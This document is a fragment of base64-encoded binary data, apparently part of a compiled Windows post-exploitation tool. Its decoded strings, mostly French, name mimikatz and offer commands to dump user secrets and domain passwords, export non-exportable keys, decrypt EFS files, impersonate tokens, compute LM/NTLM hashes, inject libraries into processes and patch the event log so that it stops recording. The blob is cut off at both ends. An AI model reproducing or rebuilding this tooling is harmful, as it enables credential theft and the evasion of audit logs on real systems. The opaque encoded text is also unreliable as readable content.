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AaQByAGUAIABkAGUAIABjAGwA6QBzACAAcABvAHUAcgAgAGwAJwBlAHgAcABvAHIAdAAgAGQAZQAgAGMAbADpAHMAIABuAG8AbgAgAGUAeABwAG8AcgB0AGEAYgBsAGUAAAAAAAAAcABhAHQAYwBoAGMAbgBnAAAAAAAAAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAAUABhAHQAYwBoACAAbABhACAAQwByAHkAcAB0AG8AQQBQAEkAIABjAG8AdQByAGEAbgB0AGUAIABwAG8AdQByACAAbAAnAGUAeABwAG8AcgB0ACAAZABlACAAYwBsAOkAcwAgAG4AbwBuACAAZQB4AHAAbwByAHQAYQBiAGwAZQAAAHAAYQB0AGMAaABjAGEAcABpAAAAAAAAAFAAcgBvAHYAaQBkAGUAcgBzACAAQwByAHkAcAB0AG8AQQBQAEkAIAA6AAAAAAAAAAAAAAAAAAAAbQBvAGQAXwBjAHIAeQBwAHQAbwBhAHAAaQA6ADoAZwBlAHQAVgBlAGMAdABvAHIAUAByAG8AdgBpAGQAZQByAHMAIAA6ACAAAAAAAAAAAABQAHIAbwB2AGkAZABlAHIAcwAgAEMATgBHACAAOgAAAG0AbwBkAF8AYwByAHkAcAB0AG8AbgBnADoAOgBnAGUAdABWAGUAYwB0AG8AcgBQAHIAbwB2AGkAZABlAHIAcwAgADoAIAAAAEUAbQBwAGwAYQBjAGUAbQBlAG4AdAAgADoAIAAnAAAAAAAAAAAAAABtAG8AZABfAGMAcgB5AHAAdABvADoAOgBnAGUAdABMAGkAcwB0AFMAeQBzAHQAZQBtAFMAdABvAHIAZQBzACAAOgAgAAAAAAAgAGkAbgB0AHIAbwB1AHYAYQBiAGwAZQAgACEAAAAAAAAAAAAAAAAARQByAHIAZQB1AHIAIABkACcAYQByAGcAdQBtAGUAbgB0AHMALAAgAGEAdAB0AGUAbgBkAHUAIAA6ACAAWwBtAGEAYwBoAGkAbgBlAF0AIABbAHAAcgBvAHYAaQBkAGUAcgAgAHAAcgBvAHYAaQBkAGUAcgBUAHkAcABlAF0AAABtAGEAYwBoAGkAbgBlAAAAdQBzAGUAcgAAAAAAAAAAAF0AIABDAGwA6QBzACAAQwByAHkAcAB0AG8AQQBQAEkAIAA6AAA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AIABkAGUAIABDAE4ARwAgAD8AAAAAAAAAAAAAAAAAAAAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAFAAYQB0AGMAaAAgAEoAdQBuAGkAcABlAHIAIABOAGUAdAB3AG8AcgBrACAAQwBvAG4AbgBlAGMAdAAgAHAAbwB1AHIAIABuAGUAIABwAGwAdQBzACAAcwB1AHAAZQByAHYAaQBzAGUAcgAgAGwAYQAgAHQAYQBiAGwAZQAgAGQAZQAgAHIAbwB1AHQAYQBnAGUAAAAAAAAAAABuAG8AcgBvAHUAdABlAG0AbwBuAAAAAABbAHMAdQBwAGUAcgAgAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABQAGEAdABjAGgAIABsACcAbwBiAHMAZQByAHYAYQB0AGUAdQByACAAZAAnAOkAdgDpAG4AZQBtAGUAbgB0AHMAIABwAG8AdQByACAAbgBlACAAcABsAHUAcwAgAHIAaQBlAG4AIABlAG4AcgBlAGcAaQBzAHQAcgBlAHIAAABlAHYAZQBuAHQAZAByAG8AcAAAAAAAAABQAGEAdABjAGgAIABsAGUAIABiAG8AdQB0AG8AbgAgAGEAbgBuAHUAbABlAHIAIABkAGUAIABXAGkAbgBkAG8AdwBzACAAWABQACAAZQB0ACAAMgAwADAAMwAgAGUAbgAgAGMAbwBuAHMAbwBsAGUAIABwAG8AdQByACAAZADpAHYAZQByAHIAbwB1AGkAbABsAGUAcgAgAHUAbgBlACAAcwBlAHMAcwBpAG8AbgAAAGMAYQBuAGMAZQBsAGEAdABvAHIAAAAAAAAAAAAAAAAAQQBmAGYAaQBjAGgAZQAgAGwAZQBzACAAcwBlAGMAcgBlAHQAcwAgAHUAdABpAGwAaQBzAGEAdABlAHUAcgAAAHMAZQBjAHIAZQB0AHMAAABBAG4AdABpAC0AZADpAHQAbwB1AHIAcwAgAFMAUgAAADoAbgBvAGQAZQB0AG8AdQByAAAAAAAAAAAAAAAAAAAARADpAGMAaABpAGYAZgByAGUAIABsAGUAcwAgAGYAaQBjAGgAaQBlAHIAcwAgAFAASQBUACAAKABRAHUAZQBzAHQAIAB2AFcAbwByAGsAcwBwAGEAYwBlACAAQwBsAGkAZQBuAHQAKQAAAAAAAAAAADoAcABpAHQAbQBlAAAAAABOdE9wZW5Qcm9jZXNzAAAARADpAHQAbwB1AHIAIAB0AHIAbwB1AHYA6QAgAGUAdAAgAAAAAAAAAHAAYQB0AGMAaADpACAAOgApAAAAAAAAAE4ATwBOACAAcABhAHQAYwBoAOkAIAA6ACgAAAAAAAAARADpAHQAbwB1AHIAIABuAG8AbgAgAHQAcgBvAHUAdgDpAAAAAAAAAHcAaQBuAGwAbwBnAG8AbgAuAGUAeABlAAAAAAAAAAAAZABzAE4AYwBTAGUAcgB2AGkAYwBlAAAAZQB2AGUAbgB0AGwAbwBnAC4AZABsAGwAAAAAAAAAAAB3AGUAdgB0AHMAdgBjAC4AZABsAGwAAABFAHYAZQBuAHQATABvAGcAAAAAAAAAAABOAG8AbQBiAHIAZQAgAGQAZQAgAHMAZQBjAHIAZQB0AHMAIAA6ACAAAAAAAAAAAABHAEUATgBFAFIASQBDAAAARABPAE0AQQBJAE4AXwBQAEEAUwBTAFcATwBSAEQAAABEAE8ATQBBAEkATgBfAEMARQBSAFQASQBGAEkAQwBBAFQARQAAAAAARABPAE0AQQBJAE4AXwBWAEkAUwBJAEIATABFAF8AUABBAFMAUwBXAE8AUgBEAAAARwBFAE4ARQBSAEkAQwBfAEMARQBSAFQASQBGAEkAQwBBAFQAAAAAAEQATwBNAEEASQBOAF8ARQBYAFQARQBOAEQARQBEAAAAPwAAAAAAAABDAHIAZQBkAGUAbgB0AGkAYQBsACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAABVAHMAZQByAE4AYQBtAGUAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAABDAG8AbQBtAGUAbgB0ACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAABUAHkAcABlACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAgAC8AIAAAAFQAYQByAGcAZQB0AE4AYQBtAGUAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAEMAcgBlAGQARQBuAHUAbQBlAHIAYQB0AGUAIAA6ACAAAAAAAAAAAAAAAAAAAAAAAIBb6BhvZIk6NM5Z3020Wg9plFhwcUsXz8NAqvzF4CHbmklouC9KbNx6i39cAwj+OaPGMaaMvXKkihuS1YeteI9VlgswqENTsGKg2nwTjV2BwI6QiOS3dsK1BJOlqZ6r9TesmSbiOIXhdHcy5ZEjsRBMRz++giJqUdBjdREzm/s7yu3dROYSTpc8eU9BZrpQDslrBe5u55V7YJ3/xCmGuX2YyJw1u7zv+j0G+Ta/Pn6ix1auy6/pQmHwHf1ln1In6iShp7JtFLNF+Lb3c8GDhPTMzfPjVBXRRgdXLNLT1tTX9uvYHAAJ7GcK2Rbe8fIBLV5IAgxfDRkaKB4fICUqKy5QSVQAAAAAAAAAAAAAAAAAZABpAHYAZQByAHMAOgA6ADoAcABpAHQAbQBlACAAZgBpAGwAZQAuAHAAaQB0ACAAWwBmAGkAbABlAC4AcgBkAHAAXQAAAAAAAAAAAAAAAAAgACoAIABPAHUAdgBlAHIAdAB1AHIAZQAgAGUAbgAgAGwAZQBjAHQAdQByAGUAIABkAHUAIABmAGkAYwBoAGkAZQByACAAJwAAAAAAAAAAACAAKgAgAEQA6QBjAGgAaQBmAGYAcgBlAG0AZQBuAHQAIABuALAAMQAgADoAIAAAACAAKgAgAEQA6QBjAGgAaQBmAGYAcgBlAG0AZQBuAHQAIABuALAAMgAgADoAIAAAACAAKgAgAEUAbgAtAHQA6gB0AGUAIAA6ACAAAAAAAAAAIAAqACAATwB1AHYAZQByAHQAdQByAGUAIABlAG4AIADpAGMAcgBpAHQAdQByAGUAIABkAHUAIABmAGkAYwBoAGkAZQByACAAJwAAAHcAYgAAAAAAAAAAACAAKgAgAEQAbwBuAG4A6QBlAHMAIAA6ACAAAAAAAAAAIAAhAD0AIAAAAAAAAAAAAEsATwAgAC0AIABkAGkAZgBmAOkAcgBlAG4AdAAgAGQAZQAgACcAUABJAFQAJwAgADsAIAAAAAAAQQBmAGYAaQBjAGgAZQAgAGQAZQBzACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMAIABiAGEAcwBpAHEAdQBlAHMAIABzAHUAcgAgAHUAbgAgAGYAaQBjAGgAaQBlAHIAIABjAGgAaQBmAGYAcgDpAAAAAAAAAAAAaQBuAGYAbwBzAAAAAAAAAAAAAAAAAAAAQQBmAGYAaQBjAGgAZQAgAGQAZQBzACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMAIAB0AHIA6ABzACAAZADpAHQAYQBpAGwAbADpAGUAcwAgAHMAdQByACAAdQBuACAAZgBpAGMAaABpAGUAcgAgAGMAaABpAGYAZgByAOkAAABmAHUAbABsAAAAAAAAAAAARAB1AG0AcAAgAGwAZQBzACAAZABvAG4AbgDpAGUAcwAgAEUARgBTACAAZAAnAHUAbgAgAGYAaQBjAGgAaQBlAHIAIABjAGgAaQBmAGYAcgDpACAAdgBlAHIAcwAgAHUAbgAgAGYAaQBjAGgAaQBlAHIAIABiAHIAdQB0AAAAAAB0AG8AcgBhAHcAAAAAAAAAVQB0AGkAbABpAHMAYQB0AGUAdQByACgAcwApACAAZADpAGMAbABhAHIA6QAoAHMAKQAgADoAIAAAAAAAAAAAAEUAcgByAGUAdQByACAAUQB1AGUAcgB5AFUAcwBlAHIAcwBPAG4ARQBuAGMAcgB5AHAAdABlAGQARgBpAGwAZQAgADoAIAAAAEEAZwBlAG4AdAAoAHMAKQAgAGQAZQAgAHIAZQBjAG8AdQB2AHIAZQBtAGUAbgB0ACAAIAA6ACAAAAAAAAAAAAAAAAAAAAAAAEUAcgByAGUAdQByACAAUQB1AGUAcgB5AFIAZQBjAG8AdgBlAHIAeQBBAGcAZQBuAHQAcwBPAG4ARQBuAGMAcgB5AHAAdABlAGQARgBpAGwAZQAgADoAIAAAAAAAAAAAAEUARgBTACAATQBlAHQAYQBkAGEAdABhAAAAAAAAAAAARABBAFQAQQAAAAAAAAAAACAAKgAgAFQAeQBwAGUAIAAgACAAOgAgAAAAAAAAAAAAKABFAEYAUwAgAE0AZQB0AGEAZABhAHQAYQAgAHMAdAByAGUAYQBtACkAAAAAAAAAIAAqACAATgBvAG0AIAAgACAAIAA6ACAAAAAAAAAAAAAgACoAIABGAGwAYQBnACAAIAAgADoAIAAAAAAAAAAAACAAKgAgAFQAYQBpAGwAbABlACAAOgAgAAAAAAAAAAAATQBhAHIAcwBoAGEAbABlAGQAIABTAHQAcgBlAGEAbQAgADoAAAAAAEQAYQB0AGEAUwBlAGcAbQBlAG4AdAAgADoAIAAAAAAAIAAgAEUARgBTACAATQBlAHQAYQBkAGEAdABhACAAOgAAAAAAAAAAACAAIAAgACoAIABWAGUAcgBzAGkAbwBuACAARQBGAFMAIAA6ACAAAAAAAAAAAAAAACAAIAAgACoAIABVAHQAaQBsAGkAcwBhAHQAZQB1AHIAKABzACkAIABkAOkAYwBsAGEAcgDpACgAcwApACAAOgAAAAAAAAAAAAAAAAAAAAAAIAAgACAAKgAgAEEAZwBlAG4AdAAoAHMAKQAgAGQAZQAgAHIAZQBjAG8AdQB2AHIAZQBtAGUAbgB0ACAAIAA6AAAAAAAAAAAAIAAgAEQAQQBUAEEAIAA6AAAAAAAAAAAAIAAgAEQAQQBUAEEAIABTAGUAZwBtAGUAbgB0ACAARQBuAGMAcgB5AHAAdABpAG8AbgAgAEgAZQBhAGQAZQByACAAOgAAAAAAIAAgACAAKgAgAE4AdQBtAGIAZQByAE8AZgBEAGEAdABhAEIAbABvAGMAawBzACAAIAAgACAAOgAgAAAAAAAAACAAIAAgACoAIABDAGwAdQBzAHQAZQByAFMAaABpAGYAdAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAgACAAIAAqACAAQwBoAHUAbgBrAFMAaABpAGYAdAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAIAAgACAAKgAgAEQAYQB0AGEAVQBuAGkAdABTAGgAaQBmAHQAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAACAAIAAgACoAIABCAHkAdABlAHMAVwBpAHQAaABpAG4AVgBEAEwAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAgACAAIAAqACAAQgB5AHQAZQBzAFcAaQB0AGgAaQBuAFMAdAByAGUAYQBtAFMAaQB6AGUAIAA6ACAAAAAAAAAAIAAgACAAKgAgAFMAdABhAHIAdABpAG4AZwBGAGkAbABlAF8ATwBmAGYAcwBlAHQAIAAgACAAOgAgAAAAAAAAACAAIAAgACoAIABMAGUAbgBnAHQAaAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAgACAAIAAqACAARQB4AHQAZQBuAGQAZQBkACAASABlAGEAZABlAHIAIABGAGwAYQBnACAAIAA6ACAAAAAAAAAAIAA7ACAAdABhAGkAbABsAGUAIAA6ACAAAAAAAAAAAAAgACAAIAAgAC0APgAgAEIAbABvAGMAawAgAAAAAAAAAFQATwBEAE8AIABEAGEAdABhAAAAAAAAAEUAcgByAGUAdQByACAAUgBlAGEAZABFAG4AYwByAHkAcAB0AGUAZABGAGkAbABlAFIAYQB3ACAAOgAgAAAAAABFAHIAcgBlAHUAcgAgAE8AcABlAG4ARQBuAGMAcgB5AHAAdABlAGQARgBpAGwAZQBSAGEAdwAgADoAIAAAAAAATwB1AHYAZQByAHQAdQByAGUAIABkAGUAIAA6ACAAAABWAGUAcgBzACAAIAAgACAAIAAgACAAIAAgADoAIAAAACAAKgAgAEUAeABwAG8AcgB0ACAATwBLAAAAAAAAAAAAKgAgAEUAcgByAGUAdQByACAAUgBlAGEAZABFAG4AYwByAHkAcAB0AGUAZABGAGkAbABlAFIAYQB3ACAAOgAgAAAAAAAAAAAAIAAqACAASABhAHMAaAAgAGQAdQAgAGMAZQByAHQAaQBmAGkAYwBhAHQAIAA6ACAAAAAAAAAAAAAgACoAIABOAG8AbQAgAHMAaQBtAHAAbABlACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACAAKgAgAE4AbwBtACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAIAAtACAATABlAGMAdAB1AHIAZQAgAGQAJwB1AG4AIABiAGwAbwBjACAAZABlACAAOgAgAAAAAAAgADoAAAAAACAAIAAgACAAQwBoAGEAbQBwACAAZABlACAAZABvAG4AbgDpAGUAcwAgAAAAAAAAACAAIAAgACAAIAAqACAAVQB0AGkAbABpAHMAYQB0AGUAdQByACAAOgAgAAAAAAAAACAAIAAgACAAIAAgAC0APgAgAEQAbwBuAG4A6QBlAHMAIAA6ACAAAAAgACAAIAAgACAAIAAtAD4AIABUAGEAaQBsAGwAZQAgACAAOgAgAAAAIAAgACAAIAAgACoAIABGAEUASwAgACgAYwBoAGkAZgBmAHIA6QBlACkAIAA6ACAAAAAAAAAAAAAgACAAIAAgACAAKgAgAEYAbABhAGcAcwAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACAAIAAgACAAIAAgAC0APgAgAE4AbwBtACAAYQBmAGYAaQBjAGgA6QAgADoAIAAAACAAIAAgACAAIAAgAC0APgAgAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgADoAIAAAACAAIAAgACAAIAAgAC0APgAgAEMAbwBuAHQAYQBpAG4AZQByACAAIAAgADoAIAAAACAAIAAgACAAIAAgAC0APgAgAEUAbQBwAHIAZQBpAG4AdABlACAAIAAgADoAIAAAAEEAZgBmAGkAYwBoAGUAIABsAGUAcwAgAGgAYQBuAGQAbABlAHMAIABkAHUAIABzAHkAcwB0AOgAbQBlACAAKABwAG8AdQByACAAbABlACAAbQBvAG0AZQBuAHQAIABqAHUAcwB0AGUAIABsAGUAcwAgAHAAcgBvAGMAZQBzAHMAdQBzACAAZQB0ACAAdABvAGsAZQBuAHMAKQAAAAAAAABsAGkAcwB0AAAAAAAAAAAARQBzAHMAYQB5AGUAIABkAGUAIABzAHQAbwBwAHAAZQByACAAdQBuACAAbwB1ACAAcABsAHUAcwBpAGUAdQByAHMAIABwAHIAbwBjAGUAcwBzAHUAcwAgAGUAbgAgAHUAdABpAGwAaQBzAGEAbgB0ACAAZAAnAGEAdQB0AHIAZQBzACAAaABhAG4AZABsAGUAcwAAAAAAAABwAHIAbwBjAGUAcwBzAFMAdABvAHAAAABFAHMAcwBhAHkAZQAgAGQAJwBpAG0AcABlAHIAcwBvAG4AYQBsAGkAcwBlAHIAIAB1AG4AIAB0AG8AawBlAG4AIABlAG4AIAB1AHQAaQBsAGkAcwBhAG4AdAAgAGQAJwBhAHUAdAByAGUAcwAgAGgAYQBuAGQAbABlAHMAAAAAAHQAbwBrAGUAbgBJAG0AcABlAHIAcwBvAG4AYQB0AGUAAAAAAAAAAAAAAAAAAAAAAFAAbwBzAGkAdABpAG8AbgBuAGUAIAB1AG4AZQAgAEEAQwBMACAAbgB1AGwAbAAgAHMAdQByACAAZABlAHMAIABIAGEAbgBkAGwAZQBzAAAAbgB1AGwAbABBAGMAbAAAAHQAbwBrAGUAbgAAACAAIAAAAAAAAAAAACAALQA+ACAAAAAAAAAAAAAAAAAAAAAAAG0AbwBkAF8AcwB5AHMAdABlAG0AOgA6AGcAZQB0AFMAeQBzAHQAZQBtAEgAYQBuAGQAbABlAHMAIAA7ACAAAAAJAFQAZQByAG0AaQBuAGEAdABlACAAUAByAG8AYwBlAHMAcwAgAC0AIAAAAAAAAAAJAEoAbwBiACAAOgAgAAAASwBPACAAOwAgAAAAAAAAAFQAZQByAG0AaQBuAGEAdABlAEoAbwBiAE8AYgBqAGUAYwB0ACAALQAgAAAAAAAAAEEAcwBzAGkAZwBuAFAAcgBvAGMAZQBzAHMAVABvAEoAbwBiAE8AYgBqAGUAYwB0ACAALQAgAEsATwAgADsAIAAAAAAAAAAAAE50U2V0SW5mb3JtYXRpb25Qcm9jZXNzAG8AawAgACEAIQAAAAAAAABrAG8AIAAtACAASQBtAHAAZQByAHMAbwBuAGEAdABlAEwAbwBnAGcAZQBkAE8AbgBVAHMAZQByACAAOwAgAAAAawBvACAALQAgAG0AbwBkAF8AcwBlAGMAYQBjAGwAOgA6AGUAeABjAGgAYQBuAGcAZQBEAHUAcABUAG8AawBlAG4AIAA7ACAAAAAAAAAAAABOAFUATABMACAAIQAAAAAACQAJAAAAAAAAAAAAAAAAAEgAYQBzAGgAIABMAGEAbgBNAGEAbgBhAGcAZQByACAAKABMAE0AKQAgAGQAJwB1AG4AZQAgAGMAaABhAO4AbgBlACAAZABlACAAYwBhAHIAYQBjAHQA6AByAGUAcwAAAGwAbQAAAAAAAAAAAAAAAABIAGEAcwBoACAATgBUACAATABhAG4ATQBhAG4AZwBlAHIAIAAoAE4AVABMAE0AKQAgAGQAJwB1AG4AZQAgAGMAaABhAO4AbgBlACAAZABlACAAYwBhAHIAYQBjAHQA6AByAGUAcwAAAG4AdABsAG0AAAAAAAAAAAAnACkAIAA9ACAAAAAAAAAATABNACgAJwAAAAAAAAAAAEUAcgByAGUAdQByACAAZABlACAAYwBhAGwAYwB1AGwAIABkAHUAIABoAGEAcwBoACAATABNAAAATgBUAEwATQAoACcAAAAAAEUAcgByAGUAdQByACAAZABlACAAYwBhAGwAYwB1AGwAIABkAHUAIABoAGEAcwBoACAATgBUAEwATQAAAAAAAABJAG4AagBlAGMAdABlACAAdQBuAGUAIABsAGkAYgByAGEAaQByAGkAcgBlACAAYwBvAG0AbQB1AG4AaQBjAGEAbgB0AGUAIABkAGEAbgBzACAAdQBuACAAUABJAEQAAABwAGkAZAAAAAAAAAAAAAAASQBuAGoAZQBjAHQAZQAgAHUAbgBlACAAbABpAGIAcgBhAGkAcgBpAHIAZQAgAGMAbwBtAG0AdQBuAGkAYwBhAG4AdABlACAAZABhAG4AcwAgAHUAbgAgAHAAcgBvAGMAZQBzAHMAdQBzAAAAAAAAAEkAbgBqAGUAYwB0AGUAIAB1AG4AZQAgAGwAaQBiAHIAYQBpAHIAaQByAGUAIABjAG8AbQBtAHUAbgBpAGMAYQBuAHQAZQAgAGQAYQBuAHMAIAB1AG4AIABzAGUAcgB2AGkAYwBlAAAAKQAuAHQAaAAzADIAUAByAG8AYwBlAHMAcwBJAEQAIAA9ACAAAAAAAF